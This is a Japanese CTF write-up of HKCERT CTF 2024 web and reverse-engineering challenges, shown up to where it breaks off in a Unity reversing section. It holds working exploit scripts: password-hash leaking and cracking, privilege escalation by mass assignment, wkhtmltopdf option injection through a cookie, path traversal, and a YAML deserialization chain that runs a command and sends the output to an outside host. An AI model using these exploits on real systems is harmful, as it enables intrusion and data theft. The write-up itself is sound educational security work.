11/8 - 11/10という日程で開催された。BunkyoWesternsのst98kamo*1として参加して5位。とても長いルールを読むと、中等教育の過程にある香港人、高等教育の過程にある香港人、18歳以上の香港人、そしてそれら以外の全世界の人という4つのチームのカテゴリがあり、それぞれ5チームずつが決勝へ進めることになっているとわかる。我々はギリギリストレートにqualifiedということで、1月に香港で開催される決勝大会*2を楽しみにしたい。
- [Web 100] New Free Lunch (587 solves)
- [Web 200] Mystiz's Mini CTF (1) (48 solves)
- [Web 100] Mystiz's Mini CTF (2) (72 solves)
- [Web 150] Webpage to PDF (1) (295 solves)
- [Web 150] Custom Web Server (1) (95 solves)
- [Web 400] JSPyaml (18 solves)
- [Reverse 100] Void (147 solves)
- [Reverse 500] MBTI Radar (13 solves)
- [Misc 100] B6ACP (97 solves)
- [Misc 200] My Lovely Cats (62 solves)
- [Misc 255] Tuning Keyboard 5 (5 solves)
- [Misc 444] Tuning Keyboard 5.5 (3 solves)
[Web 100] New Free Lunch (587 solves)
You are Chris Wong, you have a mission to win the game and redeem the free meal. Try to get over 300 score. Your flag will appears in scoreboard.php.
Note: There is a step-by-step guide to the challenge.
(問題サーバのURL)
ソースコードは与えられていない。与えられたURLにアクセスすると、ログインフォームが表示される。適当なユーザ名とパスワードで登録しログインすると、なにやらゲームが表示された。白黒のマスが上から下に流れていく。黒いマスをクリックすると1点プラス、白いマスをクリックしたり、クリックしないままに黒いマスが一番下に到達するとゲームオーバーらしい。
300点を超えろということだが、面倒くさいのでチートをしたい。ゲームオーバー時の処理は次の通り。スコア等々の情報はクライアント側で保持されており、最終的にサーバに送られるのは、スコアと、それを generateHash
という謎の関数でハッシュ化したものの2つだ。
async function endGame() { clearInterval(gameInterval); clearInterval(timerInterval); alert('Game Over! Your score: ' + score); const hash = generateHash(secretKey + username + score); fetch('/update_score.php', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}` }, body: JSON.stringify({ score: score, hash: hash }) }) .then(response => response.json()) .then(data => { if (data.success) { alert('Score updated!'); } else { alert('Failed to update score.'); } location.reload(); }); }
ならば、スコアが格納されている score
を書き換えてしまおう。setInterval(() => { score = 301 }, 10)
をDevToolsで実行して、10msごとにスコアを301点に書き換える。このままゲームオーバーになると、無事に301点でランキングに登録され、フラグを手に入れることができた。
hkcert24{r3d33m_f0r_4_fr33_lunch}
[Web 200] Mystiz's Mini CTF (1) (48 solves)
"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."
I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.
Can you send me the flag of the challenge "Hack this site!"?
添付ファイル: minictf-1_bc36d27733c38dceeec332324267b77d.zip
ユーザごとに問題サーバのインスタンスが作成できるようになっている。破壊的な攻撃ができるとか、そうしなければならない事情があるのだろうか。さて、問題文でも書かれているように、これはCTFのスコアサーバを攻撃する問題らしい。(1)
と問題名にあることから推測できるように、同じサーバを対象に (1)
とは異なる攻撃を行う必要のある別の問題もある。
まず Dockerfile
を確認すると、環境変数でこれら2問のフラグが設定されていることがわかる。
ENV FLAG_1=hkcert24{this_is_a_test_flag_1} ENV FLAG_2=hkcert24{this_is_a_test_flag_2}
DBを初期化する web/migrations/versions/96fa27cc07b9_init.py
でこれらの環境変数が参照されている。FLAG_1
が参照されている箇所は次の通り。Hack this site!
という問題でこれがフラグとして設定されており、player
というユーザが正解しているらしい。
この player
というユーザのパスワードは6桁のhexとなっている。弱そうだけれども、リモートで試すには試行に必要な回数が多すぎるし、ローカルで試そうにもなんとかしてハッシュ化されたパスワードを得る必要がある。
ADMIN_PASSWORD = os.urandom(33).hex() PLAYER_PASSWORD = os.urandom(3).hex() FLAG_1 = os.environ.get('FLAG_1', 'flag{***REDACTED1***}') FLAG_2 = os.environ.get('FLAG_2', 'flag{***REDACTED2***}') # … db.session.add(User(id=2, username='player', is_admin=False, score=500, password=PLAYER_PASSWORD, last_solved_at=datetime.fromisoformat('2024-05-11T03:05:00'))) # … db.session.add(Challenge(id=1, title='Hack this site!', description=f'I was told that there is <a href="/" target="_blank">an unbreakable CTF platform</a>. Can you break it?', category=Category.WEB, flag=FLAG_1, score=500, solves=1, released_at=RELEASE_TIME_NOW)) # … db.session.add(Attempt(challenge_id=1, user_id=2, flag=FLAG_1, is_correct=True, submitted_at=RELEASE_TIME_NOW))
このアプリは /api/challenges/
や /api/users/
, /api/attempts/
といったAPIを持っているわけだけれども、コードを見てみると、以下のようにいずれのAPIもグループ化に対応していることがわかる。group
というクエリパラメータが与えられると、指定されたカラムをキーとしてグループ化してくれるらしい。
class GroupAPI(MethodView): init_every_request = False def __init__(self, model): self.model = model self.name_singular = self.model.__tablename__ self.name_plural = f'{self.model.__tablename__}s' def get(self): # the users are only able to list the entries related to them items = self.model.query_view.all() group = request.args.get('group') if group is not None and not group.startswith('_') and group in dir(self.model): grouped_items = collections.defaultdict(list) for item in items: id = str(item.__getattribute__(group)) grouped_items[id].append(item.marshal()) return jsonify({self.name_plural: grouped_items}), 200 return jsonify({self.name_plural: [item.marshal() for item in items]}), 200
本来その内容が外部へ漏れるべきでないカラムを指定できないか。試しに /api/users/?group=password
にアクセスしてみると、次のように本来は閲覧できない各ユーザのハッシュ化されたパスワードが得られてしまった。
$ curl "http://localhost:5000/api/users/" {"users":[{"id":1,"is_admin":true,"score":0,"username":"admin"},{"id":2,"is_admin":false,"score":500,"username":"player"}]} $ curl "http://localhost:5000/api/users/?group=password" {"users":{"8b7ff425.05eb8db7da264731b86823343fac4c8699dae67f08697ab017249bccf0e6d2cf":[{"id":1,"is_admin":true,"score":0,"username":"admin"}],"d4db1341.0f36fb41e0fd339078c25dee01cbd42b3238597b74fc51adc6af42c09f982dc3":[{"id":2,"is_admin":false,"score":500,"username":"player"}]}}
ちなみに、フラグも同じ要領で盗み出すことができるのではないかと思ってしまうが、残念ながらユーザのパスワードと同様にハッシュ化されている*3のでダメだ。
$ curl "http://localhost:5000/api/challenges/?group=flag" {"challenges":{"3e4ea987.d1e840ba549ce0bab51aa3f106ec88363edc64960c83d5603c66bd5a5f6df822":[{"category":"web","description":"I was told that there is <a href=\"/\" target=\"_blank\">an unbreakable CTF platform</a>. Can you break it?","id":1,"released_at":"Wed, 13 Nov 2024 00:00:00 GMT","score":500,"solves":1,"title":"Hack this site!"}],…
ユーザのパスワードは以下のような形式でハッシュ化され、データベースに保存されている。これならばクラックも容易だ。
def compute_hash(password, salt=None): if salt is None: salt = os.urandom(4).hex() return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()
では、player
としてログインしてどうするか。先程 /api/attempts/
というAPIがあると紹介したけれども、これはこれまでの自身のフラグの送信状況を確認できるものだ。本来は {"attempts":[{"challenge_id":2,"id":2,"is_correct":false,"user_id":3}]}
のようにどんなフラグを試したかはわからないようになっているが、先程と同じ要領でグループ化を悪用してその内容が得られるようになる。/api/attempts
では送信されたフラグをハッシュ化せずに格納しているので、そのまま FLAG_1
が得られるはずだ。
最終的に、以下のようなexploitができあがった。
import hashlib import itertools import string import httpx def compute_hash(password, salt=None): return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest() with httpx.Client(base_url='https://(省略)/') as client: r = client.get('/api/users/?group=password').json() for k, v in r['users'].items(): if v[0]['username'] == 'player': salt, h = k.split('.') break for p in itertools.product(string.digits + 'abcdef', repeat=6): p = ''.join(p) if compute_hash(p, salt).split('.')[1] == h: print(p) break client.post('/login/', data={ 'username': 'player', 'password': p }) print(client.get('/api/attempts/?group=flag').json())
実行するとフラグが得られた。
$ python3 1.py 7df71e {'attempts': {'hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}': [{'challenge_id': 1, 'id': 1, 'is_correct': True, 'user_id': 2}]}}
hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}
[Web 100] Mystiz's Mini CTF (2) (72 solves)
"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."
I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.
Can you send me the flag of the challenge "A placeholder challenge"?
添付ファイル: minictf-1_bc36d27733c38dceeec332324267b77d.zip
添付されているファイルは (1)
と同じだ。FLAG_2
が参照されている箇所は次の通り。問題文に平文でフラグが含まれているが、リリースされるのが来年ということで問題一覧からは閲覧できない。
RELEASE_TIME_NOW = date.today() RELEASE_TIME_BACKUP = date.today() + timedelta(days=365) # … db.session.add(Challenge(id=7, title='A placeholder challenge', description=f'Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>{FLAG_2}</code>.', category=Category.MISC, flag=FLAG_2, score=500, solves=0, released_at=RELEASE_TIME_BACKUP))
実は /api/admin/challenges/
というAPIが存在しており、ここからならばリリース時刻は関係なくすべての問題の情報を閲覧できる。このAPIにアクセスするには管理者である必要がある、もっと正確に言えばそのユーザの is_admin
カラムが True
である必要があるが、どうすればこの条件を満たせるか。最初からこの条件を満たしている admin
というユーザがいるにはいるし、ハッシュ化されたパスワードは (1)
の手法で手に入れられるが、(1)
で確認したようにそのパスワードは os.urandom(33).hex()
と現実的にはクラック不可能だ。
@route.route('/', methods=[HTTPMethod.GET]) @login_required def list_challenges(): if not current_user.is_admin: return jsonify({'error': 'not an admin'}), HTTPStatus.FORBIDDEN challenges = Challenge.query.all() return jsonify({ 'challenges': [challenge.admin_marshal() for challenge in challenges] }), HTTPStatus.OK
では、新しくユーザを登録した際に is_admin
を True
に書き換えることはできないか。ユーザを登録できるAPIである /register/
のコードは次の通り。
@route.route('/register/', methods=[HTTPMethod.POST]) def register_submit(): user = User() UserForm = model_form(User) form = UserForm(request.form, obj=user) if not form.validate(): flash('Invalid input', 'warning') return redirect(url_for('pages.register')) form.populate_obj(user) user_with_same_username = User.query_view.filter_by(username=user.username).first() if user_with_same_username is not None: flash('User with the same username exists.', 'warning') return redirect(url_for('pages.register')) db.session.add(user) db.session.commit() login_user(user) return redirect(url_for('pages.homepage'))
User
の定義は次の通り。is_admin
がユーザによって置き換えられないよう対策をしているようには思われない。
class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String, nullable=False) is_admin = db.Column(db.Boolean, default=False) password = db.Column(db.String, nullable=False) score = db.Column(db.Integer, default=0) last_solved_at = db.Column(db.DateTime) query_view = _QueryViewProperty() def marshal(self): return { 'id': self.id, 'username': self.username, 'is_admin': self.is_admin, 'score': self.score } # for flask-login def is_authenticated(self): return True @property def is_active(self): return True @property def is_anonymous(self): return False def get_id(self): return self.id def check_password(self, password): salt, digest = self.password.split('.') return compute_hash(password, salt) == self.password
そういうわけで、ユーザ登録時に強引に is_admin
を追加し、/api/admin/challenges/
を叩いてみるexploitを用意する。
import httpx with httpx.Client(base_url='https://(省略)') as client: client.post('/register/', data={ 'username': 'poyopoyo', 'password': 'poyopoyo', 'is_admin': '1' }) r = client.get('/api/admin/challenges/').json() for chall in r['challenges']: if 'hkcert' in chall['description']: print(chall['description'])
実行するとフラグが得られた。
$ python3 2.py Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}</code>.
hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}
[Web 150] Webpage to PDF (1) (295 solves)
Thanks to Poe I coded a webpage to PDF in seconds! I am genius right?
Note: There is a step-by-step guide to the challenge.
添付ファイル: webpage-to-pdf-1_15c8547227b822545a78cbff640fb324.zip
与えられたURLにアクセスすると、次のようにURLを入力できるフォームが表示された。適当に https://example.com
を入力してみると、このサイトをPDF化したファイルが返ってきた。なるほど、WebページをPDFにしてくれるWebアプリらしい。
サーバ側のコードを見ていく。Dockerfile
からは COPY ./flag.txt /
からルートディレクトリにフラグがあることがわかる。なんとかしてこれを読み出したい。
PDFの生成処理を見ていく。自前の execute_command
という関数を使いつつ、wkhtmltopdf
でHTMLをPDFに変換している。出力先のファイル名はCookieから持ってきているけれども、署名等はされておらず、ユーザが設定したものがそのままOSコマンドに展開されるようになっている。OSコマンドインジェクションなり、オプションの付与なりできないだろうか。
なお、file:///flag.txt
をフォームで入力するというのは通らない。wkhtmltopdf
による変換にあたって、requests.get
で対象のURLからコンテンツを引っ張ってきているけれども、requestsは file:
スキームに対応していないためだ。
@app.route('/process', methods=['POST']) def process_url(): # Get the session ID of the user session_id = request.cookies.get('session_id') html_file = f"{session_id}.html" pdf_file = f"{session_id}.pdf" # Get the URL from the form url = request.form['url'] # Download the webpage response = requests.get(url) response.raise_for_status() with open(html_file, 'w') as file: file.write(response.text) # Make PDF stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}') if returncode != 0: return f""" <h1>Error</h1> <pre>{stdout}</pre> <pre>{stderr}</pre> """ return redirect(pdf_file)
execute_command
は次の通り。オプションの付与ができそう。
def execute_command(command): """ Execute an external OS program securely with the provided command. Args: command (str): The command to execute. Returns: tuple: (stdout, stderr, return_code) """ # Split the command into arguments safely args = shlex.split(command) try: # Execute the command and capture the output result = subprocess.run( args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=True # Raises CalledProcessError for non-zero exit codes ) return result.stdout, result.stderr, result.returncode except subprocess.CalledProcessError as e: # Return the error output and return code if command fails return e.stdout, e.stderr, e.returncode
wkhtmltopdf
は、古いバージョンだとデフォルトの設定で file:///flag.txt
を iframe
で埋め込むことでローカルのファイルを表示させることができる等々、マズい挙動を示すことで知られている。問題サーバで使われているバージョンは0.12.5と古めに見えるものの、記事中で紹介されている手法は通らず。
root@c80fa5de0e10:/# wkhtmltopdf --version wkhtmltopdf 0.12.5
ではどうするか。Cookieからオプションを仕込めばよい。wkhtmltopdf
は --enable-local-file-access
オプションを付与することでローカルファイルへのアクセスも可能となることを利用しよう。まず <iframe src=file:///flag.txt></iframe>
という内容のHTMLを poyopo.html
に保存させる。この時点では、もちろん /flag.txt
へのアクセスはブロックされる。
$ curl -X POST https://(省略)/process -b "session_id=poyopo" -d "url=http://(省略)/a.html" <h1>Error</h1> <pre></pre> <pre>QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root' Loading page (1/2) [> ] 0% [==============================> ] 50% Warning: Blocked access to file /flag.txt Error: Failed to load about:blank, with network status code 301 and http status code 0 - Protocol "about" is unknown [============================================================] 100% Printing pages (2/2) [> ] Done Exit with code 1 due to network error: ProtocolUnknownError </pre>
続いて、次のようにセッションIDから --enable-local-file-access
を仕込むことで、ローカルファイルへの制限を解除しつつ poyopo.html
をPDFに変換させる。
$ curl -X POST https://(省略)/process -b "session_id=--enable-local-file-access poyopo" -d "url=https://example.com" <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="--enable-local-file-access poyopo.pdf">--enable-local-file-access poyopo.pdf</a>. If not, click the link.
生成されたPDFにアクセスすると、フラグが得られた。
hkcert24{h0w-t0-use-AI-wisely-and-s4fe1y?}
[Web 150] Custom Web Server (1) (95 solves)
Someone said: 'One advantage of having a homemade server is that it becomes much harder to hack.' Do you agree? Give reasons.
Note: The files in src/public are unrelated for the challenge.
(問題サーバのURL)
添付ファイル: custom-server-1_6d8967a25def900543b2f8f012b7e673.zip
Cで書かれたHTTPサーバが与えられる。わあ。まず Dockerfile
を見ると COPY ./flag.txt /flag.txt
とあり、なんとかしてこれを読むのがゴールであるとわかる。クライアントが接続してくると、まず handle_client
が呼び出される。1024文字を読み出して GET /
以降、スペースや改行文字等の区切り文字までをリクエストされたパスとして、read_file
で対応するファイルの内容を返そうとしている。
#define BUFFER_SIZE 1024 // … void handle_client(int socket_id) { char buffer[BUFFER_SIZE]; char requested_filename[BUFFER_SIZE]; while (1) { memset(buffer, 0, sizeof(buffer)); memset(requested_filename, 0, sizeof(requested_filename)); if (read(socket_id, buffer, BUFFER_SIZE) == 0) return; if (sscanf(buffer, "GET /%s", requested_filename) != 1) return build_response(socket_id, 500, "Internal Server Error", read_file("500.html")); FileWithSize *file = read_file(requested_filename); if (!file) return build_response(socket_id, 404, "Not Found", read_file("404.html")); build_response(socket_id, 200, "OK", file); } }
read_file
と関連する関数の定義は次の通り。..
や /
が使われているかまったくチェックしていないのでPath Travarsalできそうだけれども、やっかいなことに ends_with
で .html
, .png
, .css
, .js
のいずれかで終わっているかチェックされている。/flag.txt
を読みたいので困った。
bool ends_with(char *text, char *suffix) { int text_length = strlen(text); int suffix_length = strlen(suffix); return text_length >= suffix_length && \ strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0; } FileWithSize *read_file(char *filename) { if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL; char real_path[BUFFER_SIZE]; snprintf(real_path, sizeof(real_path), "public/%s", filename); FILE *fd = fopen(real_path, "r"); if (!fd) return NULL; fseek(fd, 0, SEEK_END); long filesize = ftell(fd); fseek(fd, 0, SEEK_SET); char *content = malloc(filesize + 1); if (!content) return NULL; fread(content, 1, filesize, fd); content[filesize] = '\0'; fclose(fd); FileWithSize *file = malloc(sizeof(FileWithSize)); file->content = content; file->size = filesize; return file; }
read_file
を眺めていると、拡張子をチェックした後で public/
に指定されたパスを結合していることに気づいた。それだけなら問題ないけれども、snprintf
を使っているので1023文字で切られてしまう。つまり、../../../../…/flag.txt.js
のようなパスが渡るようにして、チェック時には .js
で終わっていると判定されるけれども、その後の snprintf
で /flag.txt
で切れるよう文字数を調整すればよいのではないか。
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL; char real_path[BUFFER_SIZE]; snprintf(real_path, sizeof(real_path), "public/%s", filename);
ということで試す。できた。
$ curl --path-as-is "https://(省略)/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..////flag.txt.js" hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}
hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}
[Web 400] JSPyaml (18 solves)
I only know how to parse YAML with Python, so I use JS to run Python to parse YAML.
添付ファイル: jspyaml_3c3a6ee9d56cc287a5852cc8873b594b.zip
いい感じにYAMLをパースしてくれるWebアプリが与えられている。まずフラグの在り処を確認していく。proof.sh
という以下のような内容のシェルスクリプトが存在しており、これが COPY proof.sh /proof.sh
に設置されるらしい。RCEに持ち込む必要がありそうだ。
#!/bin/sh echo hkcert22{22222222222222222222}
XSS botも用意されている。いつものやつという感じで、与えられたURLにただアクセスするだけらしい。
console.log(`Opening browser for ${url}`); browser = await puppeteer.launch({ headless: true, pipe: true, executablePath: '/usr/bin/chromium', args: [ '--no-sandbox', '--disable-setuid-sandbox', '--disable-gpu', '--jitless' ] }); const ctx = await browser.createBrowserContext(); await Promise.race([ sleep(TIMEOUT), visit(ctx, url), ]);
ではこのbotはどこにアクセスさせればよいか。/debug
というAPIが存在しており、これは js-yaml
を使ってサーバ側でYAMLのパースをしてくれる。ローカルからのアクセスでなければこのAPIを使えないので、XSSなりなんなりでbotにこいつを叩かせればよさそうだ。なお、req.cookies.debug
が on
かどうかチェックされているけれども、これはXSSさえできれば document.cookie = 'on'
で突破できるのでどうでもよい。
app.post('/debug', (req, res) => { if(ip.isLoopback(req.ip) && req.cookies.debug === 'on'){ const yaml = require('js-yaml'); let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all); try{ let input = req.body.yaml; console.log(`Input: ${input}`); let output = yaml.load(input, {schema}); console.log(`Output: ${output}`); res.json(output); }catch(e){ res.status(400).send('Error'); } }else{ res.status(401).send('Unauthorized'); } });
YAMLのパースからサーバ側でのRCEへ
XSSは後で考えることにして、まずはサーバ側でどうRCEに持ち込むか考えていく。/debug
では yaml.load
に用いるスキーマとして yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all)
を用いている。js-yaml
ではデフォルトだと関数をデシリアライズできないところ、このスキーマは関数も作れてしまうものなのでマズい。/debug
ではYAMLのデシリアライズ後に文字列化を行っているので、toString
プロパティに /proof.sh
を実行する関数を仕込めばよさそうだ。
試してみると、次のようにしてYAMLのデシリアライズからRCEへ持ち込めた。
$ node … > yaml.load(`- toString: !!js/function 'function () { return console.log(123) }'`, { schema }) + '' 123 'undefined'
YAMLのパースからクライアント側でのXSSへ
クライアント側のコードは次のような感じ。フォームで入力された、もしくはフラグメント識別子で設定されたYAMLをパースして出力している。けれども、そのやり方がなかなか妙で、ブラウザ上でPythonを実行できるPyodideを使いつつ、PyYAMLでパースしている。なんで?
<body> <h1>YAML Parser</h1> <textarea id="yaml" placeholder="- YAML"></textarea><br> <button id="parse">Parse</button> <h2>Output:</h2> <pre id="output"></pre> <script> let pyodide; async function init(){ pyodide = await loadPyodide(); await pyodide.loadPackage("pyyaml"); runHash(); } async function run(y){ x = `+'`'+`import yaml yaml.load("""`+`$`+`{y.replaceAll('"','')}""",yaml.Loader)`+'`'+`; try { output.textContent = await pyodide.runPythonAsync(x); } catch (e) { output.textContent = e; } } async function runHash() { const hash = decodeURIComponent(window.location.hash.substring(1)); if (hash) { yaml.value = hash; run(hash); } } parse.addEventListener("click", async () => {run(yaml.value)}); onhashchange = runHash; onload = init; </script> </body>
安全な yaml.safe_load
でなく、わざわざ yaml.load
を使っているので、Python上でのRCEは容易に可能だ。ここからJSの実行につなげたいところだが、PyodideはそのようなAPIを提供しているだろうか。
公式ドキュメントを探すと、pyodide.code.run_js
を見つけた。以下のYAMLを入力してみるとアラートが表示された。
!!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('pyodide.code').code.run_js('alert(123)')"
解く
あとはやるだけ…というほどやるだけでもない。適切にエンコードをするスクリプトを用意する。
import urllib.parse p1 = ''' !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('pyodide.code').code.run_js('PAYLOAD')" '''.strip() p2 = ''' eval(String.fromCharCode(PAYLOAD)) '''.replace('\n', '') p3 = ''' (async () => { const url = 'https://(省略)?'; document.cookie = "debug=on"; await (await fetch("/debug", { method: "POST", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: 'yaml=' + encodeURIComponent(`- toString: !!js/function 'function () { return fetch("${url}" + btoa(process.mainModule.require("child_process").execSync("/proof.sh").toString())) }'`) })).text(); })(); '''.replace('\n', '') p3 = ','.join(str(ord(c)) for c in p3) p2 = p2.replace('PAYLOAD', p3) print('http://localhost:3000/#' + urllib.parse.quote(p1.replace('PAYLOAD', p2)))
これでローカルではうまくいったが、なぜかリモートではうまくいかない。サーバ側での問題なのかなんなのかはわからないが、チケットを立てて相談した。すると、作問者のローカル環境で試したらうまくいったということでお情けでフラグをもらえた。
hkcert24{Owasp_0wasm_ma1ware_palware}
[Reverse 100] Void (147 solves)
I made a simple webpage that checks whether the flag is correct... Wait, where are the flag-checking functions?
(問題サーバのURL)
与えられたURLにアクセスすると、次のような感じでフラグを聞かれた。
ソースを見ると次のような感じ。何が起こっているのか。
さらにスクロールすると以下のようなコードが見つかる。なるほど、最近バズっていた不可視の文字でコードをエンコードするやつっぽい。
// https://x.com/aemkei/status/1843756978147078286 function \u3164(){return f="",p=[] ,new Proxy({},{has:(t,n)=>(p.push( n.length-1),2==p.length&&(p[0]||p[ 1]||eval(f),f+=String.fromCharCode (p[0]<<4|p[1]),p=[]),!0)})}//aem1k
eval(f)
という処理が見えているので、これを console.log
に置き換える。次のようなJavaScriptコードを復元できた。
const flag = document.getElementById('flag'); flag.focus(); handleKeyPress = event => event.key === 'Enter' && check(); function check() { if (flag.value === 'hkcert24{j4v4scr1p7_1s_n0w_alm0s7_y3t_4n0th3r_wh173sp4c3_pr09r4mm1n9_l4ngu4g3}') { flag.disabled = true; flag.classList.add('correct'); } else { flag.classList.add('wrong'); setTimeout(() => flag.classList.remove('wrong'), 500); } }
hkcert24{j4v4scr1p7_1s_n0w_alm0s7_y3t_4n0th3r_wh173sp4c3_pr09r4mm1n9_l4ngu4g3}
[Reverse 500] MBTI Radar (13 solves)
Enter your name to receive the MBTI of the next 12 people you will meet later!
添付ファイル: unity_a733362e24a99fb1317c2e8db09994bc.zip
与えられたファイルを展開して実行ファイルを実行すると、次のような画面が表示された。名前を入力して "Roll 12" を押すと12個のMBTIが表示される。この表示される順番は入力した名前ごとに固有で、ESFP ISTP ESFJ …
という順番で表示される名前を見つければよいらしい。
とりあえず _
と入力すると、"Name can only be alphanumeric characters!" と表示された。英数字だけというのはありがたい。1個ずつ試していくと、1
で次の段階に進んだ。
画面は次のように変わる。今度は2文字の名前らしい。なるほど、1文字ずつ増えていくやつだ。解析か自動化の必要がありそう。
起動時のロゴからUnityであるのは明らかだ。ILのままなら解析しやすくありがたいのだけれども、残念ながら il2cpp_data
というフォルダ名が見える。IL2CPPを通してネイティブコードにコンパイルされてしまっているらしい。
幸いにも windows/main_Data/il2cpp_data/Metadata
下に global-metadata.dat
が存在しており、かつこれは af 1b b1 fa
から始まっていることから推測できるように暗号化されていない。Il2CppDumperを使えば、シンボル情報を復元した上でGhidra等で解析ができる。それでもしんどいけど。
出力された DummyDll/Assembly-CSharp.dll
をILSpyに投げてメインの処理を探す。GameBehaviour
に ValidName
, HashName
, UpdateChallenge
といった気になるメソッドが生えている。これをGhidraで見ていこう。
まず GameBehaviour
のコンストラクタは次の通り。StringLiteral_533
や StringLiteral_1171
といった文字列リテラルが代入されているが、これらは ESFP ISTP ESFJ …
というような内容だ。なるほど、これがステージごとに目指すべきMBTIのリストらしい。
void GameBehaviour$$.ctor(longlong param_1) { code *pcVar1; undefined8 uVar2; longlong lVar3; if (DAT_180ce4723 == '\0') { thunk_FUN_180113910(&int[]_TypeInfo); thunk_FUN_180113910(&string[]_TypeInfo); thunk_FUN_180113910(& Field$<PrivateImplementationDetails>.90D856B7ECAC90C26898AF8A46404297AA0EF65 768F62FDF8C3F08294BCBEE49 ); thunk_FUN_180113910(&StringLiteral_1161); thunk_FUN_180113910(&StringLiteral_1215); thunk_FUN_180113910(&StringLiteral_4547); thunk_FUN_180113910(&StringLiteral_982); thunk_FUN_180113910(&StringLiteral_529); thunk_FUN_180113910(&StringLiteral_527); thunk_FUN_180113910(&StringLiteral_533); thunk_FUN_180113910(&StringLiteral_1171); DAT_180ce4723 = '\x01'; } *(undefined8 *)(param_1 + 0x28) = StringLiteral_982; thunk_FUN_1801615d0(param_1 + 0x28,StringLiteral_982); *(undefined8 *)(param_1 + 0x30) = StringLiteral_4547; thunk_FUN_1801615d0(param_1 + 0x30,StringLiteral_4547); uVar2 = FUN_18016ee60(int[]_TypeInfo,6); System.Runtime.CompilerServices.RuntimeHelpers$$InitializeArray (uVar2, Field$<PrivateImplementationDetails>.90D856B7ECAC90C26898AF8A46404297AA0EF65768F62FDF8C 3F08294BCBEE49 ,0); *(undefined8 *)(param_1 + 0x60) = uVar2; thunk_FUN_1801615d0(param_1 + 0x60,uVar2); lVar3 = FUN_18016ee60(string[]_TypeInfo,6); if (lVar3 != 0) { if (*(int *)(lVar3 + 0x18) != 0) { *(undefined8 *)(lVar3 + 0x20) = StringLiteral_533; thunk_FUN_1801615d0(lVar3 + 0x20); if (1 < *(uint *)(lVar3 + 0x18)) { *(undefined8 *)(lVar3 + 0x28) = StringLiteral_1171; thunk_FUN_1801615d0(lVar3 + 0x28); if (2 < *(uint *)(lVar3 + 0x18)) { *(undefined8 *)(lVar3 + 0x30) = StringLiteral_1215; thunk_FUN_1801615d0(lVar3 + 0x30); if (3 < *(uint *)(lVar3 + 0x18)) { *(undefined8 *)(lVar3 + 0x38) = StringLiteral_1161; thunk_FUN_1801615d0(lVar3 + 0x38); if (4 < *(uint *)(lVar3 + 0x18)) { *(undefined8 *)(lVar3 + 0x40) = StringLiteral_529; thunk_FUN_1801615d0(lVar3 + 0x40); if (5 < *(uint *)(lVar3 + 0x18)) { *(undefined8 *)(lVar3 + 0x48) = StringLiteral_527; thunk_FUN_1801615d0(lVar3 + 0x48); *(longlong *)(param_1 + 0x68) = lVar3; thunk_FUN_1801615d0(param_1 + 0x68,lVar3); UnityEngine.Transform$$.ctor(param_1,0); return; } } } } } } FUN_18016fba0(); pcVar1 = (code *)swi(3); (*pcVar1)(); return; } FUN_18016fbb0(); pcVar1 = (code *)swi(3); (*pcVar1)(); return; }
GameBehavior.Roll
は次のような処理だ。UnityEngine.Random.value
で乱数を取得し、その結果に基づいて1個だけMBTIを返している。
